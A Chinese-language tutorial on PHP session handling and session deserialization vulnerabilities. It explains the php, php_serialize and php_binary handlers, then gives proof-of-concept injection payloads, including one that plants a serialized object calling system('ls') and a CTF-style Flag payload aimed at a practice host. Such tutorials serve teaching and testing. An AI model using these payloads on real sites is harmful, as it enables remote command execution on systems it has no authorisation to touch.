一.了解session
先了解一下什么是session
session在网络应用中称为“会话控制”,是服务器为了保存用户状态而创建的一个特殊的对象。简而言之,session就是一个对象,用于存储信息。
session有什么用
我们先来想一个问题,这个问题就是我们在游览购物网站时,我们并没有登录,但是我们任然可以将商品加入购物车,并且进行查看,当我们退出游览器后再打开游览器进行查看时,购物车中依然有我们选择的商品,这该怎么实现呢?
当然,我们可以使用cookie,但是cookie能存放大量数据吗?这时,我们就需要一种新的技术,Session。session是存储于服务器端的特殊对象,服务器会为每一个游览器(客户端)创建一个唯一的session。这个session是服务器端共享,每个游览器(客户端)独享的。我们可以在session存储数据,实现数据共享。
PHP session工作流程
以PHP为例,理解session的原理
PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID
如果Cookie中存在,获取PHPSESSID
如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器
初始化超全局变量$_SESSION为一个空数组
PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件
存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION中
不存在该文件: session_start()创建一个PHPSESSID命名文件
程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中
php.ini配置
php.ini
里面有如下六个相对重要的配置
session.save_path="" --设置session的存储位置 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数 session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动 session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用 session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
如phpstudy
下上述配置如下:
session.save_path = "/tmp" --所有session文件存储在/tmp目录下 session.save_handler = files --表明session是以文件的方式来进行存储的 session.auto_start = 0 --表明默认不启动session session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎 session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量 session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)
在phpstudy根目录下就可以找到temp文件
打开里面就是储存的session文件
上文中提到了 PHP session
的存储机制是由session.serialize_handler
来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid
来决定文件名的,当然这个文件名也不是不变的,都是sess_sessionid
形式
打开后就是序列化的内容
session.serialize_handler处理器
session.serialize_handler有三种处理器
处理器 | 对应的存储格式 |
php | 键名 + 竖线 + 经过 serialize( 函数序列化处理的值 |
php serialize (php>=5.5.4) | 经过 serialize() 函数序列化处理的数组 |
php binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数反序列处理的值 |
php处理器
<?php
echo "lcycb";
session_start();
$_SESSION['lcycb'] = $_GET['lcy'];
?lcy=cblcy
session文件里的内容是
lcycb|s:5:"cblcy";
php:键名 + 竖线 + 经过 serialize() 函数序列化处理的值
php_serialize处理器
<?php
echo "lcycb";
ini_set('session.serialize_handler', 'php_serialize'); //声明处理器
session_start();
$_SESSION['lcycb'] = $_GET['lcy'];
?lcy=cblcy
session文件里的内容是
a:1:{s:5:"lcycb";s:5:"cblcy";}
php_serialize:经过 serialize() 函数序列化处理的数组
php binary
<?php
echo "lcycb";
ini_set('session.serialize_handler', 'php_binary'); //声明处理器
session_start();
$_SESSION['lcycb'] = $_GET['lcy'];
?lcy=cblcy
php_binary:键名的长度对应的 ASCI 字符 + 键名 +经过 serialize() 函数序列化处理的值
漏洞产生原理
当网站序列化并存储Session
与反序列化并读取session的方式不同
就可能导致session反序列化漏洞的产生
eg:
这个是漏洞产生页面
这个是保存session的页面
在这个页面传参
构造poc
<?php
class D
{
var $a = "system('ls');";
}
echo serialize(new D());
?a=|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}
我们传进去的session
通过php_serialize处理器保存的值应该是
a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}
在漏洞产生页面
读取session的时候
是以php处理器处理
a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}
它会以为红色部分就是键值名称
绿色部分就是需要反序列化的内容
于是乎把把反序列化D的值赋值给eval函数
从而产生漏洞
例题
http://bc.ccie.work:8002/class21/index.php
打开hint.php
构造poc
<?php
class Flag{
public $name;
public $her;
}
$a = new Flag();
$a -> name = &$a ->her;
echo serialize($a);
payload:
?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
在漏洞产生页面即可